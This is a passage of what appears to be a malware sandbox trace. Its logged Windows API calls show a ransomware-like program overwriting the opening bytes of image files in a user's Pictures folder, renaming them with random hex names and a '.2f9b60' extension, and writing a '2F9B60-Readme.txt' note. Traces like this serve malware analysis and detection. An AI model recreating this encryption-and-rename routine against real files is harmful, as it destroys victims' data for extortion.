_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\f3f982863328e38d5d0e9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\f3f982863328e38d5d0e9" [0095.646] wcscat (in: _Dest=0x1cf4da40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\f3f982863328e38d5d0e9.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\f3f982863328e38d5d0e9.2f9b60" [0095.646] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\f3f982863328e38d5d0e9.2f9b60", NtPathName=0x2915f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\f3f982863328e38d5d0e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b7a5860 [0095.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 [0095.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0095.668] NtQueryInformationFile (in: FileHandle=0xe70, IoStatusBlock=0x2915f9f8, FileInformation=0x2915fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2915f9f8, FileInformation=0x2915fa08) returned 0x0 [0095.668] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x2915f9f8, FileInformation=0x2915fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4da40) returned 1 [0095.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107d80) returned 1 [0095.671] FlushFileBuffers (hFile=0xe70) returned 1 [0095.878] CloseHandle (hObject=0xe70) returned 1 [0095.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866fc0 [0095.895] wcscpy (in: _Dest=0x1b866fc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0095.895] wcscat (in: _Dest=0x1b866fc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" [0095.896] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt")) returned 0xffffffff [0095.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe70 [0095.896] WriteFile (in: hFile=0xe70, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2915f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2915f8b0*=0xba9, lpOverlapped=0x0) returned 1 [0095.898] CloseHandle (hObject=0xe70) returned 1 [0095.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0095.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 Thread: id = 618 os_tid = 0x108c [0095.284] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4GaiTZx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4gaitzx.gif")) returned 0x20 [0095.284] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4GaiTZx.gif", dwFileAttributes=0x20) returned 1 [0095.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4GaiTZx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4gaitzx.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe74 [0095.284] GetFileSizeEx (in: hFile=0xe74, lpFileSize=0x28f6f7c0 | out: lpFileSize=0x28f6f7c0*=59991) returned 1 [0095.284] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0xea53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.284] ReadFile (in: hFile=0xe74, lpBuffer=0x28f6f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f6f788, lpOverlapped=0x0 | out: lpBuffer=0x28f6f740*, lpNumberOfBytesRead=0x28f6f788*=0x4, lpOverlapped=0x0) returned 1 [0095.285] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0095.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.286] NtQuerySystemTime (in: CurrentTime=0x28f6f680 | out: CurrentTime=0x28f6f680*=132462177011266000) returned 0x0 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x269c3989 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x6bf37a72 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x1d13bf94 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x44636906 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x54aa517b [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x742f6d3c [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0xae9be77 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x4a8c1d5b [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x33e2f50a [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x7a36bfa2 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x678c1818 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x2fa1fcca [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x44d57bcd [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x330200ff [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x11897707 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x790fdec3 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x1c88c094 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x4ae0f7b2 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x6ad21a50 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x1dee8d2d [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x1cc7a27 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x132d72e4 [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x48b4de7d [0095.286] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x5fdd0915 [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x5db8d5c1 [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x42755c3c [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0xe291606 [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x47a7aa98 [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x63afc605 [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x7cdda29b [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x6e83d1e7 [0095.287] RtlRandomEx (in: Seed=0x28f6f670 | out: Seed=0x28f6f670) returned 0x1b78c1f3 [0095.299] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.299] ReadFile (in: hFile=0xe74, lpBuffer=0x2020c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28f6f6e0, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesRead=0x28f6f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.299] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0095.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0095.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0095.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201c85a0 [0095.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0095.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0095.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0095.300] WriteFile (in: hFile=0xe74, lpBuffer=0x201c85a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28f6f6e0, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesWritten=0x28f6f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0095.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0095.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85fb20 [0095.607] SetFilePointerEx (in: hFile=0xe74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.607] WriteFile (in: hFile=0xe74, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x28f6f790, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x28f6f790*=0x108, lpOverlapped=0x0) returned 1 [0095.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0095.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0095.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0095.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f700) returned 1 [0095.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0095.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0095.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0095.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0095.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0095.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f170 [0095.656] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="c5") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="56") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="3c") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="a3") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="8e") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="f0") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="b3") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="d4") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="c8") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="9d") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="54") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="11") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="44") returned 2 [0095.656] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="6a") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="9f") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="cb") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="fe") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="03") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="d2") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f198, _Format="%c%c" | out: _Dest="cf") returned 2 [0095.657] sprintf (in: _Dest=0x1cd9f19a, _Format="%c%c" | out: _Dest="e9") returned 2 [0095.657] RtlInitAnsiString (in: DestinationString=0x28f6f808, SourceString="c5563ca38ef0b3d4c89d5411446a9fd6cbfe03d2cfe9" | out: DestinationString="c5563ca38ef0b3d4c89d5411446a9fd6cbfe03d2cfe9") [0095.657] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f6f7d8, SourceString="c5563ca38ef0b3d4c89d5411446a9fd6cbfe03d2cfe9", AllocateDestinationString=1 | out: DestinationString="c5563ca38ef0b3d4c89d5411446a9fd6cbfe03d2cfe9") returned 0x0 [0095.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ef00 [0095.657] wcscat (in: _Dest=0x1b866c40, _Source="c5563ca38ef" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\c5563ca38ef") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\c5563ca38ef" [0095.657] wcscat (in: _Dest=0x1b866c40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\c5563ca38ef.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\c5563ca38ef.2f9b60" [0095.657] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\c5563ca38ef.2f9b60", NtPathName=0x28f6f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\c5563ca38ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7adb60 [0095.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adb60) returned 1 [0095.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0095.672] NtQueryInformationFile (in: FileHandle=0xe74, IoStatusBlock=0x28f6f818, FileInformation=0x28f6f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28f6f818, FileInformation=0x28f6f828) returned 0x0 [0095.672] NtSetInformationFile (FileHandle=0xe74, IoStatusBlock=0x28f6f818, FileInformation=0x28f6f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0095.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef00) returned 1 [0095.856] FlushFileBuffers (hFile=0xe74) returned 1 [0095.929] CloseHandle (hObject=0xe74) returned 1 [0095.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e5f0 [0095.930] wcscpy (in: _Dest=0x1b79e5f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0095.930] wcscat (in: _Dest=0x1b79e5f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" [0095.930] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt")) returned 0x20 [0095.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0095.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c22f0) returned 1 Thread: id = 619 os_tid = 0x1090 [0095.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\flcvizmse7ae.bmp")) returned 0x20 [0095.326] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp", dwFileAttributes=0x20) returned 1 [0095.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\flcvizmse7ae.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe7c [0095.327] GetFileSizeEx (in: hFile=0xe7c, lpFileSize=0x290bfb60 | out: lpFileSize=0x290bfb60*=16364) returned 1 [0095.327] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x3fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.327] ReadFile (in: hFile=0xe7c, lpBuffer=0x290bfae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x290bfb28, lpOverlapped=0x0 | out: lpBuffer=0x290bfae0*, lpNumberOfBytesRead=0x290bfb28*=0x4, lpOverlapped=0x0) returned 1 [0095.328] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0095.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0095.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0095.328] NtQuerySystemTime (in: CurrentTime=0x290bfa20 | out: CurrentTime=0x290bfa20*=132462177011578000) returned 0x0 [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x6cb51f75 [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x32958868 [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x2dd5b8af [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x4e99ae8 [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x3e26b097 [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x24c9c9ae [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x7692a43d [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x1a4ea66c [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x3e9df218 [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x1e30b41e [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x1c59548b [0095.328] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x2026fd55 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x650fa4c2 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x7e627557 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x12b7ba59 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x7c479eb [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x3c2e9535 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x1e98bd04 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x3c75cd94 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x38264e05 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x65d3a526 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x1ea52fae [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x653a1295 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x7a9dbc06 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x5ed5ad6f [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x6fcc94f2 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x29b07369 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x3d49e7dc [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x112a33d8 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x749c8757 [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x21742dcb [0095.329] RtlRandomEx (in: Seed=0x290bfa10 | out: Seed=0x290bfa10) returned 0x6388bd83 [0095.338] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.338] ReadFile (in: hFile=0xe7c, lpBuffer=0x20204990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x290bfa80, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x290bfa80*=0x3c00, lpOverlapped=0x0) returned 1 [0095.339] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0095.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0095.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0095.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0095.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202085a0 [0095.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0095.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0095.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7800) returned 1 [0095.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0095.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.339] WriteFile (in: hFile=0xe7c, lpBuffer=0x202085a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x290bfa80, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesWritten=0x290bfa80*=0x3c00, lpOverlapped=0x0) returned 1 [0095.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202085a0) returned 1 [0095.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0095.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f0f0 [0095.617] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.618] WriteFile (in: hFile=0xe7c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x290bfb30, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x290bfb30*=0x112, lpOverlapped=0x0) returned 1 [0095.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0095.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f0b0) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f0f0) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0095.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4dad0 [0095.963] wcscpy (in: _Dest=0x1cf4dad0, 